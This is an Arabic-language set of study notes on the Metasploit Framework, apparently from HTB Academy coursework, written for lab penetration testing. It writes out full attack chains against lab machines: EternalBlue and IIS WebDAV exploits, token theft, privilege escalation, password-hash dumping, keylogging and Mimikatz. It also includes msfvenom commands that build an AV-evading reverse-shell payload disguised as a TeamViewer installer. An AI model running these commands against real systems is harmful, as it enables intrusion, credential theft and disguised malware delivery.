◄ BACK TO TOOLS
► HTB ACADEMY · MODULE 39 · USING THE METASPLOIT FRAMEWORK
METASPLOIT FRAMEWORK
EXPLOITATION · PAYLOADS · ENCODERS · POST-EXPLOITATION · SESSIONS
Ruby
Language
MSF
Free Version
7
Module Types
msfvenom
Payload Tool
Meterpreter
Advanced Shell
PostgreSQL
Database
ما هو Metasploit؟

منصة pentest modular مبنية على Ruby. تحتوي آلاف الـ exploits والـ payloads والـ auxiliary modules. كل الملفات في /usr/share/metasploit-framework/

MSF vs MSF Pro
Framework: مجاني + command line
كل الـ exploits والـ modules

Pro (مدفوع): GUI + تقارير تلقائية
Social Engineering + Team work
للشركات الكبيرة
تحذير مهم
Tunnel Vision Effect:
"لو الأداة ما تقدر = أنا ما أقدر"

Metasploit = أداة مساعدة
مش بديل عن الفهم! ✅
⛓️ MSF Engagement Structure — 5 مراحل
🔍
Enumeration
شوف إيش شغّال
📋
Preparation
جهّز الـ exploit
💥
Exploitation
نفّذ الهجوم
⬆️
PrivEsc
ارفع الصلاحيات
🏴
Post-Exploit
استغل الوصول
💻 تشغيل msfconsole
msfconsole # مع الـ splash art msfconsole -q # بدون splash art (أسرع) # داخل الـ console: msf6 > help msf6 > search eternalblue msf6 > use 0 # استخدام بالرقم msf6 > use exploit/windows/smb/ms17_010_eternalblue
📦 Module Syntax
# الصيغة الكاملة: <No.> type/os/service/name # مثال: 794 exploit/windows/smb/ms17_010_eternalblue ↓ ↓ ↓ ↓ النوع الـ OS الخدمة اسم الثغرة
الجزءالوصفأمثلة
Typeنوع الـ moduleexploit, auxiliary, post
OSنظام التشغيل المستهدفwindows, linux, multi, osx
Serviceالخدمة المستهدفةsmb, http, ftp, ssh
Nameاسم الثغرة/الأداةms17_010_eternalblue
💡 الـ Index No. (رقم الـ module) تقدر تستخدمه بدل الاسم الطويل: use 794
7 أنواع الـ Modules
النوعالوظيفةمثال على الاستخدام
AuxiliaryScanning, fuzzing, sniffing, brute forceauxiliary/scanner/smb/smb_ms17_010
Encodersتشفير الـ payloads — AV evasionx86/shikata_ga_nai
Exploitsاستغلال الثغرات الفعليةexploit/windows/smb/ms17_010_eternalblue
NOPsNo Operation — يحافظ على حجم الـ payloadx86/single_byte
Payloadsالكود اللي يشتغل بعد الاختراقwindows/x64/meterpreter/reverse_tcp
Pluginsإضافات تتكامل مع msfconsolenessus.rb, openvas.rb
PostPost-exploitation: pivot، جمع معلوماتpost/multi/recon/local_exploit_suggester
⚠️ Initiators: الأوامر use <no.> تشتغل فقط مع: Auxiliary, Exploits, Post — مش مع Encoders أو NOPs
🔍 البحث والتصفية
# بحث بسيط: msf6 > search eternalblue msf6 > search type:exploit platform:windows smb # تصفية بـ grep: msf6 exploit(ms17_010_eternalblue) > grep meterpreter show payloads msf6 exploit(ms17_010_eternalblue) > grep meterpreter grep reverse_tcp show payloads # شوف الـ options: msf6 exploit(ms17_010_eternalblue) > show options msf6 exploit(ms17_010_eternalblue) > show encoders msf6 exploit(ms17_010_eternalblue) > show payloads
💡 الفرق المهم: auxiliary/scanner/smb/smb_ms17_010 = يفحص فقط. exploit/windows/smb/ms17_010_eternalblue = يهاجم!
إيش هو الـ Payload؟
Exploit vs Payload
Exploit: يفتح الباب
يستغل الثغرة في البرنامج

Payload: ماذا تفعل بعد الدخول
Reverse Shell, Meterpreter...
تشبيه
Exploit = مفتاح يفتح الباب

Payload = ماذا تفعل داخل البيت
(تسرق، تفتح باب خلفي، تثبّت نفسك...)
💡 تعرف نوع الـ payload من الـ slash:
windows/shell_bind_tcp ← Single (بدون /)
windows/shell/bind_tcp ← Staged (مع /)
3 أنواع الـ Payloads
النوعالوصفالمميزاتالعيوب
Singles كود كامل مستقل في ملف واحد مستقر جداً، يعطي النتيجة فوراً حجم كبير، بعض الثغرات ما تستحمله
Stagers كود صغير يفتح اتصال ويستقبل Stage حجم صغير، يتجاوز الـ Firewall يحتاج اتصال ثاني للـ Stage
Stages أكواد ضخمة متقدمة (Meterpreter) ميزات غير محدودة، قوية جداً يحتاج Stager لتنزيله
👑 Meterpreter — أقوى Payload

يشتغل بتقنية DLL Injection — يعيش كاملاً في الذاكرة (RAM) ولا يكتب أي ملفات على الهارد ديسك = Antivirus وForensics ما يشوفونه! كل الاتصالات مشفرة بـ AES Encryption.

► كيف يشتغل Meterpreter في الخلفية
# الخطوات التلقائية بعد نجاح الـ exploit: 1. الضحية يشغّل كود الـ Stager الصغير ↓ 2. الـ Stager يحمل الـ Reflective DLL ويحقنها في الذاكرة (بدون كتابة على الهارد!) ↓ 3. قلب Meterpreter (Core) يشتغل ويفتح اتصال مشفر AES مع جهازك ↓ 4. Metasploit ترفع الـ extensions تلقائياً: stdapi ← أوامر السيستم والملفات priv ← أوامر رفع الصلاحيات
► أهداف التصميم الثلاثة
🕵️ Stealthy — خفي
ما يعمل process جديدة
يحقن نفسه في process شغّالة
migrate = ينقل لـ process ثانية
لو الضحية أغلق البرنامج = ما تخسر الاتصال!
💪 Powerful + Extensible
نظام اتصالات بـ Channels
تفتح CMD عادي وأنت جوه Meterpreter
تحمّل extensions وأنت شغّال
بدون ما تعيد بناء الـ payload!
► أوامر Meterpreter الكاملة
# معلومات الجهاز: getuid # مين أنت (بدل whoami) sysinfo # معلومات الجهاز كاملة ps # عرض الـ processes الشغالة # رفع الصلاحيات: getsystem # محاولة رفع صلاحيات لـ SYSTEM steal_token 1836 # سرقة token من process محددة (PID) migrate 1836 # الانتقال لـ process ثانية # سرقة البيانات: hashdump # سرقة password hashes من SAM lsa_dump_sam # سحب SAM database كاملة lsa_dump_secrets # سحب LSA Secrets (باسوردات الخدمات) # تجسس: keyscan_start # تسجيل ضربات الكيبورد keyscan_dump # عرض ما سُجّل screenshot # لقطة شاشة # إضافات: load kiwi # تحميل Mimikatz لسرقة كلمات السر # التنقل: shell # فتح CMD عادي داخل Meterpreter background # إرسال الجلسة للخلفية
► سيناريو كامل — IIS 6.0 WebDAV Attack
# 1. Scan: msf6 > db_nmap -sV -p- -T5 -A 10.10.10.15 80/tcp open http Microsoft IIS httpd 6.0 # 2. البحث عن ثغرة IIS 6.0 (CVE-2017-7269 - WebDAV): msf6 > use exploit/windows/iis/iis_webdav_upload_asp msf6 exploit > set RHOST 10.10.10.15 msf6 exploit > set LHOST tun0 msf6 exploit > run [*] Meterpreter session 1 opened! # 3. شوف صلاحياتك: meterpreter > getuid [-] Access is denied. # ما عندك صلاحية! # 4. شوف الـ processes: meterpreter > ps 1836 wmiprvse.exe NT AUTHORITY\NETWORK SERVICE # 5. سرق الـ Token من wmiprvse.exe: meterpreter > steal_token 1836 meterpreter > getuid NT AUTHORITY\NETWORK SERVICE # 6. ابحث عن ثغرات PrivEsc: meterpreter > background msf6 > use post/multi/recon/local_exploit_suggester msf6 post > set SESSION 1 msf6 post > run [+] exploit/windows/local/ms15_051_client_copy_image # 7. استخدم الثغرة للـ PrivEsc: msf6 > use exploit/windows/local/ms15_051_client_copy_image msf6 exploit > set SESSION 1 msf6 exploit > run [*] Meterpreter session 2 opened! meterpreter > getuid NT AUTHORITY\SYSTEM # 💥 أعلى صلاحية! # 8. سرق الـ Hashes: meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: meterpreter > lsa_dump_sam meterpreter > lsa_dump_secrets
⚠️ تنبيه مهم: الـ exploit رفع ملف metasploit28857905.txt على الجهاز وما قدر يمسحه (403 Forbidden). ملفات بأسماء مكشوفة = خطر! الـ Sysadmin ممكن يكتشف الهجمة فوراً.
🎯 SYSTEM level = تقدر تستخدم الـ hashes لـ Lateral Movement في الشبكة الداخلية (Pivoting)!
🔄 Reverse vs Bind Connection
Bind TCP ❌
أنت تتصل بالضحية
← Firewall يحجب Inbound
= غالباً يفشل!
Reverse TCP ✅
الضحية تتصل بك
← Firewall يثق بـ Outbound
= يمر بسلام! 🎯
أشهر أنواع الـ Payloads:
الـ Payloadالوظيفة
generic/shell_reverse_tcpShell عادي باتصال عكسي (multi-platform)
windows/x64/execينفذ أمر واحد فقط
windows/x64/messageboxيطلع رسالة popup
windows/x64/meterpreter/reverse_tcpMeterpreter متطور ← الأفضل! 🎯
windows/x64/shell/reverse_tcpShell عادي (Stager + Stage)
ما هي الـ Encoders؟

تشفير الـ payloads عشان تكون متوافقة مع architectures مختلفة + تجاوز الـ Antivirus. تدعم: x64, x86, sparc, ppc, mips

Shikata Ga Nai (SGN)
الاسم بالياباني: "لا يمكن فعل شيء"
أشهر encoder في Metasploit
Rank: excellent
هلأ: الـ AV يكتشفه بسهولة!
Bad Characters
Hex opcodes تكسر الـ payload
\x00 = null byte (الأخطر)
Encoder يزيلها تلقائياً
-b "\x00" في msfvenom
💻 show encoders
# شوف الـ encoders المتاحة للـ exploit الحالي: msf6 exploit(ms17_010_eternalblue) > show encoders Compatible Encoders =================== # Name Rank Description 0 generic/eicar manual EICAR Encoder 1 generic/none manual The "none" Encoder 2 x64/xor manual XOR Encoder 3 x64/xor_dynamic manual Dynamic key XOR Encoder 4 x64/zutto_dekiru manual Zutto Dekiru
💡 الـ encoders يتصفّى تلقائياً حسب الـ Architecture — x64 payload = x64 encoders فقط
🔧 msfvenom — الأداة الشاملة

بعد 2015 دمجوا msfpayload + msfencode في أداة واحدة: msfvenom. تولّد الـ payloads وتشفرها بأمر واحد.

الأوامر الأساسية:
# Payload بدون encoding: msfvenom -a x86 --platform windows \ -p windows/shell/reverse_tcp \ LHOST=127.0.0.1 LPORT=4444 \ -b "\x00" -f perl # Payload مع encoding (SGN): msfvenom -a x86 --platform windows \ -p windows/meterpreter/reverse_tcp \ LHOST=10.10.14.5 LPORT=8080 \ -e x86/shikata_ga_nai \ -f exe -o ./TeamViewerInstall.exe # مع iterations متعددة (أصعب للكشف): msfvenom -a x86 --platform windows \ -p windows/meterpreter/reverse_tcp \ LHOST=10.10.14.5 LPORT=8080 \ -e x86/shikata_ga_nai -i 10 \ -f exe -o ./TeamViewerInstall.exe # تحليل الـ payload على VirusTotal: msf-virustotal -k <API_KEY> -f TeamViewerInstall.exe
⚠️ حتى مع 10 iterations من SGN — 52/68 AV لا يزالون يكتشفونه! مفيدة للـ lab بس مش للـ production.
📋 الخيارات المهمة في msfvenom
الخيارالوظيفةمثال
-aArchitecturex86, x64
--platformنظام التشغيلwindows, linux
-pاسم الـ payloadwindows/meterpreter/reverse_tcp
LHOSTIP جهازك (المخترِق)10.10.14.5
LPORTPort جهازك4444, 8080
-bBad characters تحذفها"\x00"
-eالـ encoderx86/shikata_ga_nai
-iعدد الـ iterations10
-fصيغة الـ outputexe, perl, python, raw
-oاسم الملف الناتج./payload.exe
🔗 Sessions — إدارة الاتصالات

Session = خط الاتصال المفتوح بين جهازك والضحية. Metasploit تسمح بعشرات الجلسات في نفس الوقت.

# عرض كل الجلسات الشغالة: msf6 > sessions # إرسال الجلسة للخلفية (من داخل Meterpreter): meterpreter > background # أو: CTRL + Z # العودة لجلسة محددة: msf6 > sessions -i 1 # رقم الجلسة # قفل جلسة: msf6 > sessions -k 1 # استخدام الجلسة في Post module: msf6 post(local_exploit_suggester) > set SESSION 1
⚠️ Sessions can die! الجلسة تموت لو الضحية أغلق البرنامج أو في مشكلة في الشبكة.
🏴 Post-Exploitation Modules — 3 أنواع

بعد ما تخترق جهاز وترسل الجلسة للخلفية، تشغّل عليها Post modules لتعميق الاختراق.

النوعالوظيفةمثال
Credential Gatherers سرقة usernames وpasswords وhashes post/windows/gather/hashdump
post/multi/gather/ssh_creds
Local Exploit Suggesters يقترح ثغرات لرفع الصلاحيات (PrivEsc) post/multi/recon/local_exploit_suggester
Internal Network Scanners يفحص الشبكة الداخلية لإيجاد أجهزة ثانية (Pivoting) post/multi/gather/ping_sweep
auxiliary/scanner/portscan/tcp
كيف تستخدمهم مع Sessions:
# 1. أرسل الجلسة للخلفية: meterpreter > background # 2. شغّل الـ Post module: msf6 > use post/multi/recon/local_exploit_suggester # 3. اربطه بالجلسة: msf6 post > show options # شوف خانة SESSION msf6 post > set SESSION 1 msf6 post > run # النتيجة: [+] 10.10.10.205 - Exploit: exploit/windows/local/ms16_032_secondary_logon_handle_privesc [+] 10.10.10.205 - Exploit: exploit/windows/local/ms10_092_schelevator
🎯 local_exploit_suggester يكتشف ثغرات PrivEsc تلقائياً — بعدها تستخدم الثغرة لترفع صلاحياتك!
⚙️ Jobs — المهام الخلفية

Jobs = مهام تشتغل في الخلفية بشكل مستقل. مفيدة للـ listeners اللي لازم تفضل شغالة.

# تشغيل exploit كـ Job (في الخلفية): msf6 exploit(multi/handler) > exploit -j [*] Exploit running as background job 0. # عرض الـ Jobs الشغالة: msf6 > jobs -l # قفل job محدد: msf6 > jobs -k 0 # قفل كل الـ Jobs: msf6 > jobs -K
💡 الفائدة الرئيسية: لو شغّلت listener على Port 4444 وحبيت تشغل module ثاني على نفس الـ Port، اعمل -j للأول وبعدين أقفله بـ jobs -k
🗄️ PostgreSQL Database

Metasploit يستخدم PostgreSQL لحفظ نتائج الـ scans والـ credentials والـ loot. مفيد جداً لو عندك شبكة كبيرة فيها 50+ جهاز.

# تشغيل PostgreSQL: sudo systemctl start postgresql # تهيئة قاعدة بيانات Metasploit: sudo msfdb init # تشغيل msfconsole مع DB: sudo msfdb run # التحقق من الاتصال: msf6 > db_status [*] Connected to msf. Connection type: postgresql.
📁 Workspaces
# شوف الـ workspaces: msf6 > workspace * default # إنشاء workspace جديد: msf6 > workspace -a Target_1 # التبديل لـ workspace: msf6 > workspace Target_1 # حذف workspace: msf6 > workspace -d Target_1
💡 Workspaces مثل الـ Folders — تفصل كل شبكة عن الثانية
📊 إدارة البيانات
# استيراد نتائج Nmap: msf6 > db_import Target.xml # فحص Nmap مباشرة وحفظ النتائج: msf6 > db_nmap -sVsS 10.10.10.8 # عرض الأجهزة المكتشفة: msf6 > hosts msf6 > hosts -R # يحط الـ IPs كـ RHOSTS تلقائياً! # عرض الخدمات: msf6 > services msf6 > services -u # الشغالة فقط # إدارة الـ credentials: msf6 > creds msf6 > creds add user:admin password:notpassword msf6 > creds -o hashes.jtr # تصدير لـ John the Ripper # الملفات المسروقة: msf6 > loot # نسخ احتياطي: msf6 > db_export -f xml backup.xml
🎯 hosts -R يأخذ كل الـ IPs من الـ DB ويحطها كـ RHOSTS تلقائياً = توفير وقت كبير!
⛓️ Attack Chain كامل
🔍
Scan
db_nmap / nmap
🔎
Search
search + use
⚙️
Configure
set options
💥
Exploit
run / exploit
🏴
Post
Meterpreter
مثال كامل — EternalBlue:
# 1. Scan: msf6 > db_nmap -sV 10.10.10.40 # 2. تحقق من الثغرة أولاً: msf6 > use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary > set RHOSTS 10.10.10.40 msf6 auxiliary > run [+] Host is likely VULNERABLE # 3. الهجوم الفعلي: msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit > set RHOSTS 10.10.10.40 msf6 exploit > set LHOST 10.10.14.5 msf6 exploit > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit > run [*] Meterpreter session 1 opened! # 4. Post-exploitation: meterpreter > getuid NT AUTHORITY\SYSTEM meterpreter > hashdump meterpreter > shell # فتح CMD عادي
📋 Options المهمة
الـ Optionالوظيفة
RHOSTSIP الضحية (الهدف)
LHOSTIP جهازك أنت (المخترِق)
LPORTPort جهازك (default: 4444)
RPORTPort الخدمة المستهدفة (SMB=445)
SESSIONرقم الجلسة للـ Post modules
🌐 Q&A — أسئلة درسناها
إيش الفرق بين Exploit وPayload؟
Exploit = يفتح الباب (يستغل الثغرة). Payload = ماذا تفعل بعد الدخول (reverse shell, meterpreter...). تشبيه: Exploit = مفتاح، Payload = ماذا تفعل داخل البيت.
إيش POC؟
Proof of Concept — كود يثبت إن الثغرة موجودة وقابلة للاستغلال. Metasploit أخذ هاي الـ POCs وطورها لـ exploits جاهزة للاستخدام بأمر واحد.
إيش الـ Tunnel Vision Effect؟
"لو الأداة ما تقدر = أنا ما أقدر." الاعتماد الكلي على Metasploit بدون فهم كيف يشتغل = خطر. لما الأداة تفشل ما تعرف تشتغل بدونها.
إيش الفرق بين Single وStaged payload؟
Single: كود كامل في ملف واحد، مستقل، لكن حجمه كبير. Staged: Stager صغير يفتح اتصال ويستقبل Stage كبير (Meterpreter). تعرفهم من الـ slash: shell_bind_tcp = Single, shell/bind_tcp = Staged.
ليش Meterpreter أفضل من Shell عادي؟
Meterpreter يشتغل في الذاكرة فقط (DLL Injection) = AV ما يشوفه. عنده ميزات متقدمة: hashdump, keyscan, screenshot, load kiwi. تقدر تفتح CMD عادي من داخله بـ shell.
ليش Reverse TCP أفضل من Bind TCP؟
Bind = أنت تتصل بالضحية = Firewall يحجب Inbound connections. Reverse = الضحية تتصل بك = Firewall يثق بـ Outbound connections = يمر بسلام.
إيش فائدة hosts -R في الـ Database؟
يأخذ كل الـ IPs المخزنة في الـ Database ويحطها كـ RHOSTS في الـ exploit تلقائياً. توفير وقت كبير لو عندك 50+ جهاز في الشبكة.
إيش الفرق بين Sessions وJobs؟
Session = خط اتصال مفتوح مع ضحية بعد نجاح الـ exploit. Job = مهمة تشتغل في الخلفية (مثل listener). بـ exploit -j تشغّل الـ exploit كـ Job = listener يفضل يسمع حتى بدون session.